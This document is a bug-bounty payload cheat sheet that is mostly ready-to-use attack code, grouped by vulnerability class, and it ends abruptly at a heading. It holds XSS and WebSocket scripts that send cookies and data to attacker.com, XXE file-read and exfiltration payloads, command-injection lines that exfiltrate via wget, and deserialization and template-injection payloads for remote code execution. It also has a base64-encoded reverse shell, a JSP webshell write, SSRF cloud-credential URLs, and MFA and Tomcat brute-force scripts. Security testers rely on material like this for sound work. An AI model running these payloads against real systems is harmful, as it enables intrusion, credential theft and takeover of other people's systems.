Security Arsenal

SECURITY ARSENAL

Payloads, bypass tables, wordlists, temp email setup, and submission rules.

See also: [[Vuln Classes]], [[Web2 Recon]], [[Triage]]

TEMP EMAIL SETUP (For Multi-Account Testing)

bashCopy code
# Mail.tm API (free, no registration, fully programmatic)
create_temp_email() {
  DOMAIN=$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')
  EMAIL="hunter_$(date +%s)@${DOMAIN}"
  PASSWORD="TempPass123!"
  curl -s -X POST https://api.mail.tm/accounts \
    -H "Content-Type: application/json" \
    -d "{\"address\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" | jq .
  echo "$EMAIL" > /tmp/current_temp_email.txt
}

# Fetch inbox (for password reset tokens, verification links)
fetch_temp_email() {
  TOKEN=$(curl -s -X POST https://api.mail.tm/token \
    -H "Content-Type: application/json" \
    -d "{\"address\":\"$(cat /tmp/current_temp_email.txt)\",\"password\":\"TempPass123!\"}" | jq -r '.token')
  curl -s "https://api.mail.tm/messages" \
    -H "Authorization: Bearer $TOKEN" | jq '.[]'
}

# Guerrilla Mail (alternative, web-based)
# Visit: https://www.guerrillamail.com/
# Or use API: curl -s "https://api.guerrillamail.com/ajax.php?f=get_email_address"

# Yopmail (persistent inboxes — good for long sessions)
# Visit: https://www.yopmail.com/
# Inbox: https://www.yopmail.com/en/inbox?mail=YOUR_EMAIL

Multi-Account Workflow

bashCopy code
# Create 3 accounts for IDOR/privilege testing
for i in 1 2 3; do
  create_temp_email
  echo "Account $i created. Register on target, then proceed."
  sleep 2
done

XSS PAYLOADS

Basic Probes

javascriptCopy code
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
'-prompt.call(window,%20'xss_found")-

Cookie Theft (proof of impact)

javascriptCopy code
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

CSP Bypass Techniques

javascriptCopy code
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

DOM XSS Sources and Sinks

javascriptCopy code
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

SSRF PAYLOADS

Cloud Metadata

bashCopy code
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

Internal Service Fingerprinting

bashCopy code
http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server

SSRF IP Bypass Payloads

bashCopy code
# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

SQL INJECTION PAYLOADS

Detection

sqlCopy code
'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--

Union-Based (determine column count)

sqlCopy code
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

Blind SQLi (time-based confirmation)

sqlCopy code
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--

WAF Bypass

sqlCopy code
/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

XXE PAYLOADS (Expanded)

Classic File Read

xmlCopy code
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Blind OOB via HTTP (DNS confirmation)

xmlCopy code
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>

Blind OOB via DNS + Data Exfil

xmlCopy code
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>

XXE via DOCX/SVG/PDF Upload

• SVG: <image href="file:///etc/passwd" />
• DOCX: malicious XML in word/document.xml with external entity

Parameter Entity (Bypass Filters)

xmlCopy code
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY test "%xxe;">
]>
<foo>&test;</foo>

XXE via Content-Type Switch

bashCopy code
# Force XML parsing even on JSON endpoints
curl -s -X POST https://target.com/api/endpoint \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'

XXE in SVG Upload

xmlCopy code
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>

XXE Bypass Techniques

xmlCopy code
<!-- SYSTEM keyword blocked? Try PUBLIC -->
<!DOCTYPE foo [<!ENTITY xxe PUBLIC "random" "file:///etc/passwd">]>

<!-- file:// blocked? Try PHP filter -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>

<!-- Expect protocol (PHP) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>

<!-- Data URI -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "data://text/plain;base64,SSBhbSBhIHRlc3Q=">]>

INSECURE DESERIALIZATION PAYLOADS

Python Pickle RCE

pythonCopy code
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# Send as cookie or POST body

Java (ysoserial)

bashCopy code
# Generate payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" > payload.bin

# Common gadget chains
java -jar ysoserial.jar CommonsCollections1 "id"
java -jar ysoserial.jar Spring1 "id"
java -jar ysoserial.jar Groovy1 "id"

PHP (phpggc)

bashCopy code
# Laravel RCE
phpggc Laravel/RCE1 system 'id'
phpggc Laravel/RCE2 system 'id'

# Symfony RCE
phpggc Symfony/RCE1 system 'id'

# Monolog RCE
phpggc Monolog/RCE1 system 'id'

PHP Serialized Data (Manual)

phpCopy code
// Example serialized payload
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
// Modify: s:4:"role";s:5:"admin"; → s:4:"role";s:13:"superadmin";

Detection Patterns

Copy code
PHP: O:8:"ClassName":... (serialized objects)
Java: AC ED 00 05 (serialization magic bytes)
Python: \x80\x04\x95 (pickle protocol 4)
Ruby: \x04\x08 (Marshal format)
YAML: !ruby/object:ClassName (YAML object tags)

HOST HEADER INJECTION PAYLOADS

Password Reset Poisoning

bashCopy code
# Basic test
curl -s -H "Host: attacker.com" https://target.com/forgot-password
# Check if reset link uses attacker.com

# With X-Forwarded-Host
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/forgot-password

# Header variants to test
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

Cache Poisoning via Host

bashCopy code
# If cache uses Host as key
curl -s -H "Host: attacker.com" https://target.com/
# Then request normal URL — if cached response from attacker.com is served

CUSTOM HEADER INJECTION PAYLOADS

IP Spoofing (Bypass IP Restrictions)

bashCopy code
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1, 10.0.0.1 (chain)

Path Override (Bypass Access Control)

bashCopy code
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1

Auth Bypass Headers

bashCopy code
X-Forwarded-User: admin
X-Authenticated-User: admin
X-Remote-User: admin
X-Admin: true
X-API-Key: admin
X-Debug: true

Method Override

bashCopy code
X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
_method: DELETE (in POST body)

CRLF Injection via Headers

bashCopy code
X-Injected-Header: %0d%0aSet-Cookie:%20admin=true
X-Custom: %0d%0aX-Injected:%20yes

PATH TRAVERSAL PAYLOADS

bashCopy code
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

IDOR / AUTH BYPASS PAYLOADS

Horizontal Privilege Escalation

bashCopy code
# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456

Vertical Privilege Escalation

bashCopy code
# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

AUTHENTICATION BYPASS PAYLOADS

JWT Attacks

bashCopy code
# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt

JWT Realm Manipulation

bashCopy code
# Decode JWT and identify realm parameter
# Original: "realm":"test-user"
# Manipulated: "realm":"test-dashboard"

# Common realm values to try
test-user
test-dashboard
admin
staff
internal
management
superuser
dashboard
panel

# Steps:
# 1. Login to regular account
# 2. Intercept login POST request
# 3. Change realm value in JSON body
# 4. Use new JWT with manipulated realm

Bearer Token Bypass

bashCopy code
# Normal request
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

# Bypass - remove "Bearer" prefix
Authorization: eyJhbGciOiJIUzI1NiIs...

# Also try
authorization: Bearer eyJhbGciOiJIUzI1NiIs...  # lowercase
X-Auth-Token: eyJhbGciOiJIUzI1NiIs...            # different header
Token: eyJhbGciOiJIUzI1NiIs...                    # alternate format

S3 Arbitrary File Overwrite

bashCopy code
# File upload with destination parameter
POST /upload HTTP/1.1
Host: admin.target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Authorization: <JWT>

------WebKitFormBoundary
Content-Disposition: form-data; name="destination"
gallery/
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain
Arbitrary File Overwrite
------WebKitFormBoundary--

# Overwrite existing files on CloudFront
# Change destination to point to existing file path
# Test: can you overwrite JS, HTML, EXE, PDF files?

# Detection
ffuf -u https://admin.target.com/FUZZ -X POST -w wordlist.txt -mc 200,201,403 -ac

OAuth Attacks

bashCopy code
# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

NOSQL INJECTION PAYLOADS (MongoDB)

Operator Injection (JSON body)

jsonCopy code
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}

GET Parameter Injection

bashCopy code
# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)

Auth Bypass One-Liners

bashCopy code
curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

COMMAND INJECTION PAYLOADS

Basic Detection

bashCopy code
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`

Blind OOB (out-of-band confirmation)

bashCopy code
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)

Bypass Techniques

bashCopy code
# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env
;$BASH -c 'id'
;${IFS}id

# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com

Context-Specific (filename injection)

bashCopy code
# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd

SSTI DETECTION PAYLOADS (All Engines)

Universal Probe (send all, observe which evaluate)

Copy code
{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
${7*7}         → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7}         → 49 = Mako (Python) or Pebble (Java)
*{7*7}         → 49 = Spring Thymeleaf
{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE

RCE Payloads by Engine

Jinja2 (Python/Flask/Django):

pythonCopy code
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

Twig (PHP/Symfony):

phpCopy code
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Freemarker (Java):

Copy code
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

ERB (Ruby on Rails):

rubyCopy code
<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

Spring Thymeleaf:

javaCopy code
${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

EJS (Node.js):

javascriptCopy code
<%= process.mainModule.require('child_process').execSync('id') %>

Where to Test

Copy code
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates

HTTP SMUGGLING PAYLOADS

CL.TE — Content-Length front-end, Transfer-Encoding back-end

httpCopy code
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

TE.CL — Transfer-Encoding front-end, Content-Length back-end

httpCopy code
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0

TE.TE — Both support Transfer-Encoding, obfuscate to disable one

httpCopy code
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

H2.CL — HTTP/2 front-end with Content-Length injection

Copy code
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync

Detection (Burp)

Copy code
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED

Impact Chain

Copy code
Basic desync          → Capture victim's next request → Read their auth token
+ Admin user traffic  → Access admin as victim
+ Cache poisoning     → Stored XSS at scale for all users

WEBSOCKET PAYLOADS

IDOR / Auth Bypass

javascriptCopy code
// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}

Cross-Site WebSocket Hijacking (CSWSH)

htmlCopy code
<!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>

Test Origin Validation

bashCopy code
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"

Injection via WS Messages

javascriptCopy code
// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}

// SQLi
{"action": "search", "query": "' OR 1=1--"}

// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}

MFA / 2FA BYPASS PAYLOADS

Pattern 1: OTP Brute Force (no rate limit)

bashCopy code
# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 \
  -t 5

# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request

Pattern 2: OTP Reuse (token not invalidated)

Copy code
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login

Pattern 3: Response Manipulation

Copy code
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard

Pattern 4: Code Predictability

pythonCopy code
import requests, time

# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31):  # Test ±30 seconds
    totp_value = generate_totp(secret, time.time() + t_offset)
    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
    if r.status_code == 200:
        print(f"VALID at offset {t_offset}s: {totp_value}")
        break

Pattern 5: Backup Codes Not Rate Limited

bashCopy code
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit

Pattern 6: Skip MFA Step (Workflow Bypass)

bashCopy code
# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass

# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session

Pattern 7: Race on MFA Verification

pythonCopy code
import asyncio, aiohttp

# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return await r.json()

async def race():
    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
        print(results)

asyncio.run(race())

SAML ATTACKS

Attack 1: XML Signature Wrapping (XSW)

xmlCopy code
<!-- Original valid assertion: -->
<saml:Assertion ID="legit">
  <NameID>user@company.com</NameID>
  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>

<!-- XSW: Inject malicious assertion before/after the signed one. -->
<!-- Server validates signature on #legit but processes #evil instead. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>     <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">              <!-- Original stays valid -->
    <NameID>user@company.com</NameID>
    <ds:Signature>VALID_SIGNATURE</ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

xmlCopy code
<!-- Original: user@company.com -->
<!-- Injected:  -->
<NameID>admin<!---->@company.com</NameID>
<!-- XML parsers strip comments: admin@company.com -->
<!-- SAML validator sees "user@company.com" (before comment) -->
<!-- Application uses "admin@company.com" (after comment stripped) -->

Attack 3: Signature Stripping

Copy code
1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to admin@company.com
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login

Attack 4: XXE in SAML Assertion

xmlCopy code
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
  <saml:Assertion>
    <NameID>&xxe;</NameID>
  </saml:Assertion>
</saml:Response>

Tools

bashCopy code
# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider

# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0  # Re-encode

JAVA-SPECIFIC ATTACK PAYLOADS

Path Traversal to WEB-INF

bashCopy code
# Limited path traversal (Java web apps)
/admin/download?filename=/WEB-INF/web.xml
/admin/download?filename=/WEB-INF/classes/config.properties
/admin/download?filename=/WEB-INF/spring-config.xml

# Bypass filters with encoding
/admin/download?filename=..%2F..%2FWEB-INF%2Fweb.xml
/admin/download?filename=%2e%2e%2fWEB-INF%2fweb.xml
/admin/download?filename=....//....//WEB-INF/web.xml

WEB-INF Discovery Wordlist

bashCopy code
# High-value files to read via path traversal
/WEB-INF/web.xml                    # Servlet mappings, security constraints
/WEB-INF/classes/config.properties  # Database creds, API keys
/WEB-INF/spring-config.xml          # Spring beans, security config
/WEB-INF/applicationContext.xml     # Application configuration
/WEB-INF/struts-config.xml          # Struts configuration
/WEB-INF/beans.xml                  # CDI configuration
/META-INF/MANIFEST.MF               # Version info, classpath
/META-INF/context.xml               # Tomcat context configuration

Groovy Console RCE Payloads

groovyCopy code
// Command execution with output
"id".execute().text
"sudo cat /etc/passwd".execute().text
"whoami".execute().text

// Read files
new File("/etc/passwd").text
new File("/WEB-INF/web.xml").text

// Reverse shell (Base64 encoded)
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}".execute()

// Network scan
"curl http://169.254.169.254/latest/meta-data/".execute().text

// Write webshell
new File("/var/www/html/shell.jsp").text = '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'

JSF ViewState Attacks

bashCopy code
# JSF ViewState is encrypted but may have weak keys
# Default key: "ViewState"

# Test for ViewState manipulation
# Capture javax.faces.ViewState cookie/parameter
# Decode and check for predictable patterns

# ViewState decryption tool (if key known)
java -jar jsfv ViewState --key ViewState --decrypt < encrypted_viewstate

Java Deserialization Detection

bashCopy code
# Look for serialized objects in HTTP traffic
# Magic bytes: AC ED 00 05

# Cookie names to check
JSESSIONID
SESSION
javax.faces.ViewState
org.springframework.web.servlet.HandlerMapping

# Decode Base64 serialized objects
echo "rO0AB..." | base64 -d | xxd | head -5
# If starts with AC ED 00 05 = Java serialization

ysoserial Payloads

bashCopy code
# Common gadget chains
java -jar ysoserial.jar CommonsCollections1 "id"
java -jar ysoserial.jar CommonsCollections2 "id"
java -jar ysoserial.jar CommonsCollections3 "id"
java -jar ysoserial.jar CommonsCollections4 "id"
java -jar ysoserial.jar CommonsCollections5 "id"
java -jar ysoserial.jar Spring1 "id"
java -jar ysoserial.jar Spring2 "id"
java -jar ysoserial.jar Groovy1 "id"
java -jar ysoserial.jar Hibernate1 "id"
java -jar ysoserial.jar Jdk7u21 "id"

# Reverse shell payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

Java Log File Analysis

bashCopy code
# Download real-time logs
/admin/incident-report        # Returns .zip file
/admin/logs                   # Direct log viewer

# Extract credentials from logs
unzip incident-report.zip
grep -i "password\|passwd\|pwd" *.log
grep -i "session\|token\|auth" *.log
grep -i "admin\|root\|superuser" *.log

# Look for MD5 hashes (common in Java apps)
grep -oP '[a-f0-9]{32}' *.log

# Decode MD5 hashes
echo -n "21232f297a57a5a743894a0e4a801fc3" | md5sum
# Result: admin (MD5 of "admin")

Spring Boot Actuator Endpoints

bashCopy code
# Common actuator paths
/actuator
/actuator/env          # Environment variables (may contain secrets)
/actuator/heapdump     # Memory dump (contains credentials)
/actuator/configprops  # Configuration properties
/actuator/mappings     # All endpoint mappings
/actuator/beans        # All beans
/actuator/info         # Application info

# Heapdump analysis
# Download heapdump and search for passwords
strings heapdump | grep -i "password\|secret\|key"

Tomcat Manager Brute Force

bashCopy code
# Default credentials
admin:admin
admin:password
admin:tomcat
tomcat:tomcat
tomcat:password
admin:s3cret
both:tomcat
manager:manager
root:root
root:password

# Brute force with ffuf
ffuf -u https://target.com/manager/html -X POST \
  -d "j_username=FUZZ1&j_password=FUZZ2" \
  -w <(echo "admin:admin
admin:password
tomcat:tomcat
admin:tomcat") -fc 401

GF PATTERN NAMES (tomnomnom/gf)

bashCopy code
# Install: https://github.com/tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN

gf xss          # XSS parameters
gf ssrf         # SSRF parameters
gf idor         # IDOR parameters
gf sqli         # SQL injection parameters
gf redirect     # Open redirect parameters
gf lfi          # Local file inclusion
gf rce          # Remote code execution parameters
gf ssti         # Template injection parameters
gf debug_logic  # Debug/logic parameters
gf secrets      # Secret/token patterns
gf upload-fields # File upload parameters
gf cors         # CORS-related parameters

ALWAYS REJECTED — NEVER SUBMIT

Submitting these destroys your validity ratio. N/A hurts. Don't.

Copy code
Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC)
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields

CONDITIONALLY VALID — REQUIRES CHAIN

